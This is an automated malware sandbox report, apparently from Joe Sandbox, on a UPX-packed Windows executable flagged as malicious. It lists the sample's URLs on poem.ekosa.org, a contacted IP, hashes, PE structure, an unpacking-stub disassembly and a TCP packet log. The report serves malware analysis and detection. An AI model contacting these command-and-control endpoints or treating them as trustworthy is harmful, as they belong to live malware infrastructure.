http://poem.ekosa.org/intro/info/info.asp?id=dn678~	WVbU1Gf5p8.exe, 00000000.00000003.781250554.000000000168F000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uon	WVbU1Gf5p8.exe, 00000000.00000003.915925652.00000000016C6000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uinfo.asp?id=dn6786	WVbU1Gf5p8.exe, 00000000.00000003.709608423.00000000016AA000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uX	WVbU1Gf5p8.exe, 00000000.00000003.915925652.00000000016C6000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://poem.ekosa.org/intro/info/info.asp?id=dn678B	WVbU1Gf5p8.exe, 00000000.00000003.781250554.000000000168F000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uinfo.asp?id=dn678	WVbU1Gf5p8.exe, 00000000.00000003.709608423.00000000016AA000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://poem.ekosa.org/intro/info/info.asp.bat	WVbU1Gf5p8.exe, 00000000.00000002.1002474836.0000000001231000.00000040.00020000.sdmp	false	Avira URL Cloud: safe	unknown
http://poem.ekosa.org/intro/info/info.asp?id=dn678l;	WVbU1Gf5p8.exe, 00000000.00000003.781250554.000000000168F000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uL	WVbU1Gf5p8.exe, 00000000.00000003.781276052.00000000016C6000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://poem.ekosa.org/intro/info/info.asp?id=dn6786	WVbU1Gf5p8.exe, 00000000.00000003.781250554.000000000168F000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uinfo.asp?id=dn678l;	WVbU1Gf5p8.exe, 00000000.00000003.709608423.00000000016AA000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uO	WVbU1Gf5p8.exe, 00000000.00000003.923239328.000000000168F000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://poem.ekosa.org/intro/info/info.asp?id=dn6780;	WVbU1Gf5p8.exe, 00000000.00000003.709608423.00000000016AA000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uP	WVbU1Gf5p8.exe, 00000000.00000003.915925652.00000000016C6000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://poem.ekosa.org/intro/info/info.asp?id=dn678:	WVbU1Gf5p8.exe, 00000000.00000002.1002662893.000000000168F000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
http://poem.ekosa.org/intro/info/info.asp?id=dn678Z;q	WVbU1Gf5p8.exe, 00000000.00000003.781250554.000000000168F000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uer	WVbU1Gf5p8.exe, 00000000.00000003.915925652.00000000016C6000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6ud	WVbU1Gf5p8.exe, 00000000.00000003.915925652.00000000016C6000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://poem.ekosa.org/intro/info/info.asp?id=dn678n	WVbU1Gf5p8.exe, 00000000.00000003.915864738.000000000168F000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://poem.ekosa.org/intro/info/info.asp?id=dn678r	WVbU1Gf5p8.exe, 00000000.00000003.781250554.000000000168F000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uinfo.asp?id=dn678H;c	WVbU1Gf5p8.exe, 00000000.00000003.781250554.000000000168F000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uinfo.asp?id=dn678k	WVbU1Gf5p8.exe, 00000000.00000003.709608423.00000000016AA000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://poem.ekosa.org/intro/info/info.asp?id=dn678k	WVbU1Gf5p8.exe, 00000000.00000003.781250554.000000000168F000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://poem.ekosa.org/intro/info/info.asp?id=dn678j	WVbU1Gf5p8.exe, 00000000.00000002.1002662893.000000000168F000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
http://poem.ekosa.org/intro/info/info.asp?id=dn678~;	WVbU1Gf5p8.exe, 00000000.00000003.709608423.00000000016AA000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://poem.ekosa.org/intro/info/info.asp?id=dn678T;O	WVbU1Gf5p8.exe, 00000000.00000003.709608423.00000000016AA000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uv	WVbU1Gf5p8.exe, 00000000.00000003.915925652.00000000016C6000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uinfo.asp?id=dn678~;	WVbU1Gf5p8.exe, 00000000.00000003.923239328.000000000168F000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://poem.ekosa.org/intro/info/info.asp	WVbU1Gf5p8.exe, WVbU1Gf5p8.exe, 00000000.00000002.1002492548.0000000001249000.00000040.00020000.sdmp	false	Avira URL Cloud: safe	unknown
http://poem.ekosa.org/intro/info/info.asp?id=dn678H;c	WVbU1Gf5p8.exe, 00000000.00000003.709608423.00000000016AA000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6ul	WVbU1Gf5p8.exe, 00000000.00000003.709608423.00000000016AA000.00000004.00000001.sdmp	false		unknown
http://poem.ekosa.org/intro/info/info.asp?id=dn678V	WVbU1Gf5p8.exe, 00000000.00000003.781250554.000000000168F000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6um	WVbU1Gf5p8.exe, 00000000.00000003.709608423.00000000016AA000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6u.	WVbU1Gf5p8.exe, 00000000.00000003.915925652.00000000016C6000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uq	WVbU1Gf5p8.exe, 00000000.00000003.709608423.00000000016AA000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6urm	WVbU1Gf5p8.exe, 00000000.00000003.915864738.000000000168F000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6ur	WVbU1Gf5p8.exe, 00000000.00000003.709608423.00000000016AA000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uD	WVbU1Gf5p8.exe, 00000000.00000003.915925652.00000000016C6000.00000004.00000001.sdmp	false		unknown
http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uE	WVbU1Gf5p8.exe, 00000000.00000003.781250554.000000000168F000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uJ	WVbU1Gf5p8.exe, 00000000.00000003.915925652.00000000016C6000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://poem.ekosa.org/intro/info/info.asp?id=dn678F	WVbU1Gf5p8.exe, 00000000.00000003.781250554.000000000168F000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
210.116.91.80	unknown	Korea Republic of		17881	INETHOSTING-AS-KRInetHostingIncKR	false

General Information

Joe Sandbox Version:	31.0.0 Red Diamond
Analysis ID:	338142
Start date:	11.01.2021
Start time:	17:54:08
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 5m 38s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	WVbU1Gf5p8 (renamed file extension from none to exe)
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal60.winEXE@1/0@1/1
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 29.9% (good quality ratio 25.8%) Quality average: 67.9% Quality standard deviation: 33.9%
HCA Information:	Failed
Cookbook Comments:	Adjust boot time Enable AMSI
Warnings:	Show All Exclude process from analysis (whitelisted): BackgroundTransferHost.exe, backgroundTaskHost.exe, svchost.exe Excluded IPs from analysis (whitelisted): 104.42.151.234, 51.11.168.160, 92.122.213.194, 92.122.213.247, 20.54.26.129, 2.20.142.209, 2.20.142.210, 13.107.4.50, 51.104.144.132 Excluded domains from analysis (whitelisted): au.download.windowsupdate.com.edgesuite.net, arc.msn.com.nsatc.net, ris-prod.trafficmanager.net, ctldl.windowsupdate.com, c-0001.c-msedge.net, a767.dscg3.akamai.net, a1449.dscg2.akamai.net, arc.msn.com, afdap.au.au-msedge.net, ris.api.iris.microsoft.com, au.au-msedge.net, blobcollector.events.data.trafficmanager.net, audownload.windowsupdate.nsatc.net, au.c-0001.c-msedge.net, watson.telemetry.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, elasticShed.au.au-msedge.net, skypedataprdcolwus16.cloudapp.net, au-bg-shim.trafficmanager.net Report size getting too big, too many NtDeviceIoControlFile calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
17:54:57	API Interceptor	95x Sleep call for process: WVbU1Gf5p8.exe modified

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
INETHOSTING-AS-KRInetHostingIncKR	v-cnsamc.com	Get hash	malicious	Browse	210.116.102.95

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

No created / dropped files found

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
Entropy (8bit):	7.882358315267644
TrID:	Win32 Executable (generic) a (10002005/4) 99.39% UPX compressed Win32 Executable (30571/9) 0.30% Win32 EXE Yoda's Crypter (26571/9) 0.26% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02%
File name:	WVbU1Gf5p8.exe
File size:	51000
MD5:	69f7cde70cc22aceb5dd32ff1dc3f685
SHA1:	f87ee3079aaa5230e107ff9684e7cdea2162caf6
SHA256:	625f63364312cec78a4c91abedba868d551d79185ff73e388f561017b13347f0
SHA512:	336c07df36c691ebed0e31f1487638bcfa1ed60e4c1aaf8122c26d42682c43b270439462eaa3d9c3dbdbf0399d0a2ce7383f6075a1d13462033a1062367b9f3e
SSDEEP:	1536:lL4aKdQ/4YJs343x7gpIgMSDfh+Ampoy5Snouy8s:lLSy3SexsxT/mpooKouts
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......h$y.,E..,E..,E......&E......VE......4E......=E......1E......=E..%=..)E..,E..NE.......E......-E......-E..Rich,E..........PE..L..

File Icon


Icon Hash:	00828e8e8686b000

Static PE Info

General
Entrypoint:	0x41eff0
Entrypoint Section:	UPX1
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x5C503954 [Tue Jan 29 11:30:28 2019 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	7a4f310606e49745a3cf26a768e6e489

Entrypoint Preview

Instruction
pushad
mov esi, 00414000h
lea edi, dword ptr [esi-00013000h]
push edi
mov ebp, esp
lea ebx, dword ptr [esp-00003E80h]
xor eax, eax
push eax
cmp esp, ebx
jne 00007F0870A387FDh
inc esi
inc esi
push ebx
push 0001CEEFh
push edi
add ebx, 04h
push ebx
push 0000AFE1h
push esi
add ebx, 04h
push ebx
push eax
mov dword ptr [ebx], 00000003h
nop
nop
nop
nop
nop
push ebp
push edi
push esi
push ebx
sub esp, 7Ch
mov edx, dword ptr [esp+00000090h]
mov dword ptr [esp+74h], 00000000h
mov byte ptr [esp+73h], 00000000h
mov ebp, dword ptr [esp+0000009Ch]
lea eax, dword ptr [edx+04h]
mov dword ptr [esp+78h], eax
mov eax, 00000001h
movzx ecx, byte ptr [edx+02h]
mov ebx, eax
shl ebx, cl
mov ecx, ebx
dec ecx
mov dword ptr [esp+6Ch], ecx
movzx ecx, byte ptr [edx+01h]
shl eax, cl
dec eax
mov dword ptr [esp+68h], eax
mov eax, dword ptr [esp+000000A8h]
movzx esi, byte ptr [edx]
mov dword ptr [ebp+00h], 00000000h
mov dword ptr [esp+60h], 00000000h
mov dword ptr [eax], 00000000h
mov eax, 00000300h
mov dword ptr [esp+64h], esi
mov dword ptr [esp+5Ch], 00000001h
mov dword ptr [esp+58h], 00000001h
mov dword ptr [esp+54h], 00000001h

Rich Headers

Programming Language:

[LNK] VS2015 build 23026
[RES] VS2015 build 23026
[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x201dc	0xe8	.rsrc
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x20000	0x1dc	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x202c4	0x1c	.rsrc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x1fbd8	0x5c	UPX1
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
UPX0	0x1000	0x13000	0x0	False	0	empty	0.0	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ
UPX1	0x14000	0xc000	0xbe00	False	0.969078947368	data	7.95760709074	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x20000	0x1000	0x400	False	0.421875	data	3.96402926863	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_MANIFEST	0x2005c	0x17d	XML 1.0 document text	English	United States

Imports

DLL	Import
KERNEL32.DLL	LoadLibraryA, GetProcAddress, VirtualProtect, VirtualAlloc, VirtualFree, ExitProcess
ADVAPI32.dll	SystemFunction036

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2021 17:54:56.426768064 CET	49756	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:54:56.688230038 CET	80	49756	210.116.91.80	192.168.2.4
Jan 11, 2021 17:54:56.688385963 CET	49756	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:54:56.689865112 CET	49756	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:54:56.951431990 CET	80	49756	210.116.91.80	192.168.2.4
Jan 11, 2021 17:54:56.951577902 CET	49756	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:54:56.951904058 CET	49756	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:54:56.959117889 CET	49758	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:54:57.212683916 CET	80	49756	210.116.91.80	192.168.2.4
Jan 11, 2021 17:54:57.221164942 CET	80	49758	210.116.91.80	192.168.2.4
Jan 11, 2021 17:54:57.221637011 CET	49758	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:54:57.222948074 CET	49758	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:54:57.485622883 CET	80	49758	210.116.91.80	192.168.2.4
Jan 11, 2021 17:54:57.485812902 CET	49758	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:54:57.486080885 CET	49758	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:54:57.494767904 CET	49759	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:54:57.748080015 CET	80	49758	210.116.91.80	192.168.2.4
Jan 11, 2021 17:54:57.753647089 CET	80	49759	210.116.91.80	192.168.2.4
Jan 11, 2021 17:54:57.753793001 CET	49759	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:54:57.754849911 CET	49759	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:54:58.014203072 CET	80	49759	210.116.91.80	192.168.2.4
Jan 11, 2021 17:54:58.014525890 CET	49759	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:54:58.014581919 CET	49759	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:54:58.138900995 CET	49761	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:54:58.273649931 CET	80	49759	210.116.91.80	192.168.2.4
Jan 11, 2021 17:54:58.403007030 CET	80	49761	210.116.91.80	192.168.2.4
Jan 11, 2021 17:54:58.403090954 CET	49761	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:54:58.403862000 CET	49761	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:54:58.668386936 CET	80	49761	210.116.91.80	192.168.2.4
Jan 11, 2021 17:54:58.668536901 CET	49761	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:54:58.668831110 CET	49761	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:54:58.675659895 CET	49762	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:54:58.932600975 CET	80	49761	210.116.91.80	192.168.2.4
Jan 11, 2021 17:54:58.936108112 CET	80	49762	210.116.91.80	192.168.2.4
Jan 11, 2021 17:54:58.936343908 CET	49762	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:54:58.937810898 CET	49762	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:54:59.198338032 CET	80	49762	210.116.91.80	192.168.2.4
Jan 11, 2021 17:54:59.198510885 CET	49762	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:54:59.198682070 CET	49762	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:54:59.221259117 CET	49763	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:54:59.458458900 CET	80	49762	210.116.91.80	192.168.2.4
Jan 11, 2021 17:54:59.488636971 CET	80	49763	210.116.91.80	192.168.2.4
Jan 11, 2021 17:54:59.488924980 CET	49763	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:54:59.492043972 CET	49763	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:54:59.760138988 CET	80	49763	210.116.91.80	192.168.2.4
Jan 11, 2021 17:54:59.760399103 CET	49763	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:54:59.760581970 CET	49763	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:54:59.872613907 CET	49765	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:00.027846098 CET	80	49763	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:00.136830091 CET	80	49765	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:00.137089968 CET	49765	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:00.138458967 CET	49765	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:00.403141022 CET	80	49765	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:00.403307915 CET	49765	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:00.403438091 CET	49765	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:00.406855106 CET	49766	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:00.667313099 CET	80	49765	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:00.676996946 CET	80	49766	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:00.677155018 CET	49766	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:00.678997040 CET	49766	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:00.949650049 CET	80	49766	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:00.949882030 CET	49766	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:00.950048923 CET	49766	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:00.956501961 CET	49768	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:01.219989061 CET	80	49766	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:01.222208977 CET	80	49768	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:01.222369909 CET	49768	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:01.223732948 CET	49768	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:01.488401890 CET	80	49768	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:01.488492012 CET	49768	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:01.490192890 CET	49768	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:01.605155945 CET	49769	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:01.754262924 CET	80	49768	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:01.866909981 CET	80	49769	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:01.867063999 CET	49769	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:01.867994070 CET	49769	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:02.130270958 CET	80	49769	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:02.130368948 CET	49769	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:02.130969048 CET	49769	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:02.135477066 CET	49771	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:02.392546892 CET	80	49769	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:02.396588087 CET	80	49771	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:02.396747112 CET	49771	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:02.398149014 CET	49771	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:02.659898996 CET	80	49771	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:02.660130024 CET	49771	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:02.660479069 CET	49771	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:02.668045998 CET	49772	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:02.921279907 CET	80	49771	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:02.929611921 CET	80	49772	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:02.929838896 CET	49772	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:02.931457043 CET	49772	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:03.193223953 CET	80	49772	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:03.193450928 CET	49772	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:03.193942070 CET	49772	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:03.312998056 CET	49774	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:03.455095053 CET	80	49772	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:03.584038973 CET	80	49774	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:03.584239006 CET	49774	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:03.585913897 CET	49774	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:03.857309103 CET	80	49774	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:03.857587099 CET	49774	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:03.857774019 CET	49774	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:03.865760088 CET	49775	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:04.128398895 CET	80	49774	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:04.135067940 CET	80	49775	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:04.135181904 CET	49775	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:04.136393070 CET	49775	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:04.406142950 CET	80	49775	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:04.406230927 CET	49775	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:04.406481981 CET	49775	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:04.410854101 CET	49777	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:04.675609112 CET	80	49775	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:04.688966036 CET	80	49777	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:04.689074993 CET	49777	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:04.690062046 CET	49777	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:04.969022989 CET	80	49777	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:04.969175100 CET	49777	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:04.969511032 CET	49777	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:05.089497089 CET	49778	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:05.247128963 CET	80	49777	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:05.359301090 CET	80	49778	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:05.360687971 CET	49778	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:05.361941099 CET	49778	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:05.632652044 CET	80	49778	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:05.632777929 CET	49778	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:05.633013964 CET	49778	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:05.640492916 CET	49780	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:05.902441978 CET	80	49780	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:05.902477980 CET	80	49778	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:05.902580976 CET	49780	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:05.903429985 CET	49780	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:06.166101933 CET	80	49780	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:06.166346073 CET	49780	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:06.166601896 CET	49780	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:06.172944069 CET	49781	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:06.428056002 CET	80	49780	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:06.433820963 CET	80	49781	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:06.433918953 CET	49781	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:06.434833050 CET	49781	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:06.696373940 CET	80	49781	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:06.696662903 CET	49781	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:06.696863890 CET	49781	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:06.814651966 CET	49782	80	192.168.2.4	210.116.91.80
